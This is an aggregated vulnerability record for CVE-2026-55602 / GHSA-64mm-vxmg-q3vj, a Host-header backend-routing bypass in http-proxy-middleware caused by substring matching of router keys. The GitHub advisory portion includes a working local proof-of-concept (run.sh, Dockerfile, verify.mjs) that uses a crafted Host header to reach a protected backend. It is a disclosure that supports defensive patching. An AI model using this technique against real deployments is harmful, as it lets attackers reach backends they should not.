{"id":"EUVD-2026-38300","revision":null,"records":[{"revision":"e42da210b40f4d18aabe3fb7fc7e6407","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-55602","aliases":[],"title":"http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass","description":"http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.","state":0,"publishedAt":"2026-06-22T15:58:08.699+00:00","modifiedAt":"2026-06-23T14:18:06.403+00:00","affected":[{"ecosystem":"Vendor product","name":"http-proxy-middleware","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"chimurai\",\n                    \"product\": \"http-proxy-middleware\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 4.0.0, < 4.1.0\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 3.0.0, < 3.0.6\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 0.16.0, < 2.0.10\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.9,"severity":"MEDIUM"}],"references":["https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55602","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-55602","identifiers":["CVE-2026-55602"]},"retained":false,"historicalAffected":[]},{"revision":"27e237a9fdb84046ad3c7195177ce227","observedAt":"2026-11-07T12:32:40.036+00:00","statement":{"source":"euvd","id":"EUVD-2026-38300","aliases":["CVE-2026-55602","GHSA-64mm-vxmg-q3vj"],"title":"http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unan…","description":"http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.9,"severity":null}],"references":["https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-38300","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 22, 2026, 3:58:08 PM","dateUpdated":"Jun 23, 2026, 2:18:06 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:12070-1","title":"velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media","vulnerabilityIds":["CVE-2025-0914","CVE-2026-12143","CVE-2026-14257","CVE-2026-17535","CVE-2026-18348","CVE-2026-18636","CVE-2026-18638","CVE-2026-18639","CVE-2026-18860","CVE-2026-27601","CVE-2026-29074","CVE-2026-41650","CVE-2026-45623","CVE-2026-49356","CVE-2026-5329","CVE-2026-53550","CVE-2026-55602","CVE-2026-56852","CVE-2026-59869","CVE-2026-6290","CVE-2026-64951","CVE-2026-64952","CVE-2026-64954","CVE-2026-65903","CVE-2026-65912","CVE-2026-65913","CVE-2026-65914","CVE-2026-67314","CVE-2026-67320","CVE-2026-6863","CVE-2026-69152","CVE-2026-69153","CVE-2026-6948","CVE-2026-73086","CVE-2026-73646","CVE-2026-73650","CVE-2026-7572","CVE-2026-7573","CVE-2026-84369","CVE-2026-84370"]},{"id":"openSUSE-SU-2026:11680-1","title":"agama-web-ui-24+0.a836cced5-52.1 on GA media","vulnerabilityIds":["CVE-2025-7783","CVE-2026-13149","CVE-2026-13676","CVE-2026-33245","CVE-2026-49356","CVE-2026-53550","CVE-2026-53632","CVE-2026-54466","CVE-2026-55602","CVE-2026-67313","CVE-2026-67315","CVE-2026-67317","CVE-2026-67319","CVE-2026-67321","CVE-2026-69153","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089","CVE-2026-73650"]},{"id":"NCSC-2026-0431","title":"Kwetsbaarheden verholpen in IBM DataPower Gateway en onderliggende componenten","vulnerabilityIds":["CVE-2023-53781","CVE-2025-14087","CVE-2025-14512","CVE-2025-21858","CVE-2025-22105","CVE-2025-37980","CVE-2025-38015","CVE-2025-38097","CVE-2025-38180","CVE-2025-38400","CVE-2025-38405","CVE-2025-38441","CVE-2025-38470","CVE-2025-38653","CVE-2025-39766","CVE-2025-39797","CVE-2025-39866","CVE-2025-40134","CVE-2025-48431","CVE-2025-5278","CVE-2025-68183","CVE-2025-68211","CVE-2025-68214","CVE-2025-68347","CVE-2025-68366","CVE-2025-68724","CVE-2025-71066","CVE-2025-71089","CVE-2026-12143","CVE-2026-13257","CVE-2026-13258","CVE-2026-13757","CVE-2026-14269","CVE-2026-14273","CVE-2026-14496","CVE-2026-14497","CVE-2026-14502","CVE-2026-14507","CVE-2026-14508","CVE-2026-14509","CVE-2026-14888","CVE-2026-14905","CVE-2026-14988","CVE-2026-14990","CVE-2026-14991","CVE-2026-14992","CVE-2026-14999","CVE-2026-15588","CVE-2026-15762","CVE-2026-15781","CVE-2026-15784","CVE-2026-15819","CVE-2026-15822","CVE-2026-15824","CVE-2026-16111","CVE-2026-16159","CVE-2026-16161","CVE-2026-16163","CVE-2026-16164","CVE-2026-16165","CVE-2026-16167","CVE-2026-16169","CVE-2026-16170","CVE-2026-16176","CVE-2026-16177","CVE-2026-16178","CVE-2026-16179","CVE-2026-16181","CVE-2026-16182","CVE-2026-16340","CVE-2026-16439","CVE-2026-16440","CVE-2026-16441","CVE-2026-2100","CVE-2026-22979","CVE-2026-22984","CVE-2026-22990","CVE-2026-23002","CVE-2026-23060","CVE-2026-23110","CVE-2026-23204","CVE-2026-23209","CVE-2026-23216","CVE-2026-23243","CVE-2026-23270","CVE-2026-23392","CVE-2026-23455","CVE-2026-2391","CVE-2026-31411","CVE-2026-31419","CVE-2026-31488","CVE-2026-31508","CVE-2026-31532","CVE-2026-31581","CVE-2026-31607","CVE-2026-31613","CVE-2026-31669","CVE-2026-31677","CVE-2026-31684","CVE-2026-31685","CVE-2026-33845","CVE-2026-33846","CVE-2026-3832","CVE-2026-3833","CVE-2026-4046","CVE-2026-41254","CVE-2026-41602","CVE-2026-41606","CVE-2026-41607","CVE-2026-42009","CVE-2026-42010","CVE-2026-42011","CVE-2026-42012","CVE-2026-42013","CVE-2026-42014","CVE-2026-42015","CVE-2026-43027","CVE-2026-43037","CVE-2026-43038","CVE-2026-43056","CVE-2026-43074","CVE-2026-43116","CVE-2026-43125","CVE-2026-43163","CVE-2026-43190","CVE-2026-43198","CVE-2026-43260","CVE-2026-43284","CVE-2026-43303","CVE-2026-43329","CVE-2026-43499","CVE-2026-43501","CVE-2026-43868","CVE-2026-43870","CVE-2026-4437","CVE-2026-4438","CVE-2026-45852","CVE-2026-46054","CVE-2026-46086","CVE-2026-46116","CVE-2026-46173","CVE-2026-46181","CVE-2026-46242","CVE-2026-46259","CVE-2026-46300","CVE-2026-46331","CVE-2026-46333","CVE-2026-46917","CVE-2026-46968","CVE-2026-47010","CVE-2026-47021","CVE-2026-47027","CVE-2026-47059","CVE-2026-47063","CVE-2026-48144","CVE-2026-48145","CVE-2026-5260","CVE-2026-52923","CVE-2026-52991","CVE-2026-53006","CVE-2026-53009","CVE-2026-53131","CVE-2026-53189","CVE-2026-53264","CVE-2026-53266","CVE-2026-5419","CVE-2026-5450","CVE-2026-55602","CVE-2026-55603","CVE-2026-55968","CVE-2026-55970","CVE-2026-58010","CVE-2026-58011","CVE-2026-58012","CVE-2026-58013","CVE-2026-58014","CVE-2026-58015","CVE-2026-58016","CVE-2026-58662","CVE-2026-59879","CVE-2026-59880","CVE-2026-60147","CVE-2026-60589","CVE-2026-61308","CVE-2026-63913","CVE-2026-63952","CVE-2026-64017","CVE-2026-64530","CVE-2026-64560","CVE-2026-70906","CVE-2026-70907","CVE-2026-74581","CVE-2026-82417","CVE-2026-82562","CVE-2026-83605","CVE-2026-83607","CVE-2026-83608","CVE-2026-83613","CVE-2026-83614","CVE-2026-83615","CVE-2026-83616","CVE-2026-83619"]},{"id":"WID-SEC-W-2026-3623","title":"IBM DataPower Gateway: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2023-53781","CVE-2025-14087","CVE-2025-14512","CVE-2025-21858","CVE-2025-22105","CVE-2025-37980","CVE-2025-38015","CVE-2025-38097","CVE-2025-38180","CVE-2025-38400","CVE-2025-38405","CVE-2025-38441","CVE-2025-38470","CVE-2025-38653","CVE-2025-39766","CVE-2025-39797","CVE-2025-39866","CVE-2025-40134","CVE-2025-48431","CVE-2025-5278","CVE-2025-68183","CVE-2025-68211","CVE-2025-68214","CVE-2025-68347","CVE-2025-68366","CVE-2025-68724","CVE-2025-71066","CVE-2025-71089","CVE-2026-12143","CVE-2026-13257","CVE-2026-13258","CVE-2026-13757","CVE-2026-14269","CVE-2026-14273","CVE-2026-14496","CVE-2026-14497","CVE-2026-14502","CVE-2026-14507","CVE-2026-14508","CVE-2026-14509","CVE-2026-14888","CVE-2026-14905","CVE-2026-14988","CVE-2026-14990","CVE-2026-14991","CVE-2026-14992","CVE-2026-14999","CVE-2026-15588","CVE-2026-15762","CVE-2026-15781","CVE-2026-15784","CVE-2026-15819","CVE-2026-15822","CVE-2026-15824","CVE-2026-16111","CVE-2026-16159","CVE-2026-16161","CVE-2026-16163","CVE-2026-16164","CVE-2026-16165","CVE-2026-16167","CVE-2026-16169","CVE-2026-16170","CVE-2026-16176","CVE-2026-16177","CVE-2026-16178","CVE-2026-16179","CVE-2026-16181","CVE-2026-16182","CVE-2026-16340","CVE-2026-16439","CVE-2026-16440","CVE-2026-16441","CVE-2026-2100","CVE-2026-22979","CVE-2026-22984","CVE-2026-22990","CVE-2026-23002","CVE-2026-23060","CVE-2026-23110","CVE-2026-23204","CVE-2026-23209","CVE-2026-23216","CVE-2026-23243","CVE-2026-23270","CVE-2026-23392","CVE-2026-23455","CVE-2026-2391","CVE-2026-31411","CVE-2026-31419","CVE-2026-31488","CVE-2026-31508","CVE-2026-31532","CVE-2026-31581","CVE-2026-31607","CVE-2026-31613","CVE-2026-31669","CVE-2026-31677","CVE-2026-31684","CVE-2026-31685","CVE-2026-33845","CVE-2026-33846","CVE-2026-3832","CVE-2026-3833","CVE-2026-4046","CVE-2026-41254","CVE-2026-41602","CVE-2026-41606","CVE-2026-41607","CVE-2026-42009","CVE-2026-42010","CVE-2026-42011","CVE-2026-42012","CVE-2026-42013","CVE-2026-42014","CVE-2026-42015","CVE-2026-43027","CVE-2026-43037","CVE-2026-43038","CVE-2026-43056","CVE-2026-43074","CVE-2026-43116","CVE-2026-43125","CVE-2026-43163","CVE-2026-43190","CVE-2026-43198","CVE-2026-43260","CVE-2026-43284","CVE-2026-43303","CVE-2026-43329","CVE-2026-43499","CVE-2026-43501","CVE-2026-43868","CVE-2026-43870","CVE-2026-4437","CVE-2026-4438","CVE-2026-45852","CVE-2026-46054","CVE-2026-46086","CVE-2026-46116","CVE-2026-46173","CVE-2026-46181","CVE-2026-46242","CVE-2026-46259","CVE-2026-46300","CVE-2026-46331","CVE-2026-46333","CVE-2026-46917","CVE-2026-46968","CVE-2026-47010","CVE-2026-47021","CVE-2026-47027","CVE-2026-47059","CVE-2026-47063","CVE-2026-48144","CVE-2026-48145","CVE-2026-5260","CVE-2026-52923","CVE-2026-52991","CVE-2026-53006","CVE-2026-53009","CVE-2026-53131","CVE-2026-53189","CVE-2026-53264","CVE-2026-53266","CVE-2026-5419","CVE-2026-5450","CVE-2026-55602","CVE-2026-55603","CVE-2026-55968","CVE-2026-55970","CVE-2026-58010","CVE-2026-58011","CVE-2026-58012","CVE-2026-58013","CVE-2026-58014","CVE-2026-58015","CVE-2026-58016","CVE-2026-58662","CVE-2026-59879","CVE-2026-59880","CVE-2026-60147","CVE-2026-60589","CVE-2026-61308","CVE-2026-63913","CVE-2026-63952","CVE-2026-64017","CVE-2026-64530","CVE-2026-64560","CVE-2026-70906","CVE-2026-70907","CVE-2026-74581","CVE-2026-82417","CVE-2026-82562","CVE-2026-83605","CVE-2026-83607","CVE-2026-83608","CVE-2026-83613","CVE-2026-83614","CVE-2026-83615","CVE-2026-83616","CVE-2026-83619"]},{"id":"openSUSE-SU-2026:21448-1","title":"Security update for agama-web-ui","vulnerabilityIds":["CVE-2025-7783","CVE-2026-12143","CVE-2026-13149","CVE-2026-13311","CVE-2026-13676","CVE-2026-27601","CVE-2026-40181","CVE-2026-49356","CVE-2026-53550","CVE-2026-53632","CVE-2026-54466","CVE-2026-54490","CVE-2026-55602"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-38300","identifiers":["EUVD-2026-38300","CVE-2026-55602","GHSA-64mm-vxmg-q3vj"]},"retained":false,"historicalAffected":[]},{"revision":"666ab5468ea848d59491529b4956a7a9","observedAt":"2026-10-27T15:15:14.036+00:00","statement":{"source":"nvd","id":"CVE-2026-55602","aliases":[],"title":"http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unan…","description":"http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.","state":0,"publishedAt":"2026-06-22T18:16:48.073+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6.9,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6,"severity":"HIGH"}],"references":["https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55602","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-20","CWE-187"],"productCriteria":["cpe:2.3:a:chimurai:http-proxy-middleware:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-06-22T18:16:48.073","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-55602","identifiers":["CVE-2026-55602"]},"retained":false,"historicalAffected":[]},{"revision":"57fad7e361a944f09d89b6235dbb5c66","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-64mm-vxmg-q3vj","aliases":["CVE-2026-55602"],"title":"http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass","description":"# Summary\n\n`http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.\n\n# Details\n\nTested code state:\n\n- validated on tag `v4.0.0-beta.5`\n- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`\n\nRelevant code locations:\n\n- `src/router.ts`\n- `src/http-proxy-middleware.ts`\n\nAffected public API:\n\n- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`\n\nCode explanation:\n\nWhen a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if:\n\n```ts\nhostAndPath.indexOf(key) > -1\n```\n\nThat is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:\n\n```txt\nlocalhost:3000/api\n```\n\nbut the attacker-controlled host is:\n\n```txt\nevillocalhost:3000\n```\n\nand the request path is:\n\n```txt\n/api\n```\n\nThe concatenated attacker-controlled string:\n\n```txt\nevillocalhost:3000/api\n```\n\nstill contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.\n\nExploit path:\n\n1. the application enables the documented proxy-table `router` feature with at least one host+path rule\n2. an external attacker sends an ordinary HTTP request with a crafted `Host` header\n3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying\n4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching\n5. the request is proxied to the wrong backend\n\n## PoC\n\nCreate these files in the same working directory and run:\n\n```bash\nbash ./run.sh\n```\n\n### File: `run.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nREPO_URL=\"https://github.com/chimurai/http-proxy-middleware.git\"\nREPO_REF=\"v4.0.0-beta.5\"\nWORKDIR=\"$(mktemp -d \"${SCRIPT_DIR}/.tmp-repro.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nREPRO_DIR=\"${WORKDIR}/reproduction\"\nIMAGE_TAG=\"http-proxy-middleware-router-bypass-poc\"\n\ncleanup() {\n  rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\necho \"[a3] cloning target repository\"\ngit clone --quiet \"${REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --quiet \"${REPO_REF}\"\n\nmkdir -p \"${REPRO_DIR}\"\ncp \"${SCRIPT_DIR}/Dockerfile\" \"${WORKDIR}/Dockerfile\"\ncp \"${SCRIPT_DIR}/verify.mjs\" \"${REPRO_DIR}/verify.mjs\"\n\necho \"[a3] building reproduction image\"\ndocker build -f \"${WORKDIR}/Dockerfile\" -t \"${IMAGE_TAG}\" \"${WORKDIR}\"\n\necho \"[a3] running verification\"\ndocker run --rm \"${IMAGE_TAG}\" node /work/reproduction/verify.mjs\n```\n\n### File: `Dockerfile`\n\n```Dockerfile\nFROM node:22-bullseye\n\nWORKDIR /work\n\nCOPY repo/package.json repo/yarn.lock /work/repo/\n\nRUN corepack enable \\\n  && cd /work/repo \\\n  && yarn install --frozen-lockfile\n\nCOPY repo /work/repo\nRUN cd /work/repo && yarn build\n\nCOPY reproduction /work/reproduction\n```\n\n### File: `verify.mjs`\n\n```js\nimport http from 'node:http';\nimport fs from 'node:fs';\nimport assert from 'node:assert/strict';\n\nimport { createProxyMiddleware } from '/work/repo/dist/index.js';\n\nconst ROUTER_KEY = 'localhost:3000/api';\nconst CRAFTED_HOST = 'evillocalhost:3000';\n\nfunction listen(server, port) {\n  return new Promise((resolve) => {\n    server.listen(port, '127.0.0.1', () => resolve());\n  });\n}\n\nfunction close(server) {\n  return new Promise((resolve, reject) => {\n    server.close((err) => {\n      if (err) {\n        reject(err);\n        return;\n      }\n      resolve();\n    });\n  });\n}\n\nfunction request(path, host) {\n  return new Promise((resolve, reject) => {\n    const req = http.request(\n      {\n        host: '127.0.0.1',\n        port: 3000,\n        path,\n        method: 'GET',\n        headers: {\n          Host: host,\n        },\n      },\n      (res) => {\n        let data = '';\n        res.setEncoding('utf8');\n        res.on('data', (chunk) => {\n          data += chunk;\n        });\n        res.on('end', () => {\n          resolve({ statusCode: res.statusCode, body: data });\n        });\n      },\n    );\n    req.on('error', reject);\n    req.end();\n  });\n}\n\nconst defaultBackend = http.createServer((req, res) => {\n  res.end('DEFAULT');\n});\n\nconst secretBackend = http.createServer((req, res) => {\n  res.end('SECRET');\n});\n\nconst proxyMiddleware = createProxyMiddleware({\n  target: 'http://127.0.0.1:3101',\n  router: {\n    [ROUTER_KEY]: 'http://127.0.0.1:3102',\n  },\n});\n\nconst proxyServer = http.createServer((req, res) => {\n  proxyMiddleware(req, res, () => {\n    res.statusCode = 404;\n    res.end('NO_PROXY');\n  });\n});\n\ntry {\n  assert.ok(fs.existsSync('/work/repo/dist/index.js'));\n  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));\n\n  await listen(defaultBackend, 3101);\n  await listen(secretBackend, 3102);\n  await listen(proxyServer, 3000);\n  console.log('STEP start-services ok');\n\n  const baseline = await request('/api', 'safe.example:3000');\n  assert.equal(baseline.statusCode, 200);\n  assert.equal(baseline.body, 'DEFAULT');\n  console.log(`STEP baseline-route body=${baseline.body}`);\n\n  const crafted = await request('/api', CRAFTED_HOST);\n  assert.equal(crafted.statusCode, 200);\n  assert.equal(crafted.body, 'SECRET');\n  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);\n  console.log(`STEP crafted-route body=${crafted.body}`);\n\n  console.log('RESULT reproduced host_header_injection router substring match bypass');\n} finally {\n  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);\n}\n```\n\nThis PoC starts:\n\n- one default backend returning `DEFAULT`\n- one alternate backend returning `SECRET`\n- one proxy using:\n\n```js\ncreateProxyMiddleware({\n  target: 'http://127.0.0.1:3101',\n  router: {\n    [ROUTER_KEY]: 'http://127.0.0.1:3102',\n  },\n});\n```\n\nIt then sends:\n\n1. a baseline request to `/api` with `Host: safe.example:3000`\n2. a crafted request to `/api` with `Host: evillocalhost:3000`\n\nObserved result from the validated PoC:\n\n- baseline request: `STEP baseline-route body=DEFAULT`\n- crafted request: `STEP crafted-route body=SECRET`\n- success marker: `RESULT reproduced host_header_injection router substring match bypass`\n\nThe PoC is considered successful only if:\n\n1. the baseline request stays on the default backend\n2. the crafted request reaches the alternate backend\n3. the crafted host is not equal to the configured router host\n\n# Impact\n\nThis is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.","state":0,"publishedAt":"2026-06-18T13:06:11+00:00","modifiedAt":"2026-09-10T03:50:48.4734167+00:00","affected":[{"ecosystem":"npm","name":"http-proxy-middleware","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0"},{"kind":"fixed","version":"3.0.6"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"http-proxy-middleware","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"4.0.0"},{"kind":"fixed","version":"4.1.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"http-proxy-middleware","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.16.0"},{"kind":"fixed","version":"2.0.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj","https://github.com/chimurai/http-proxy-middleware"],"sourceUrl":"https://github.com/advisories/GHSA-64mm-vxmg-q3vj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-64mm-vxmg-q3vj","identifiers":["GHSA-64mm-vxmg-q3vj","CVE-2026-55602"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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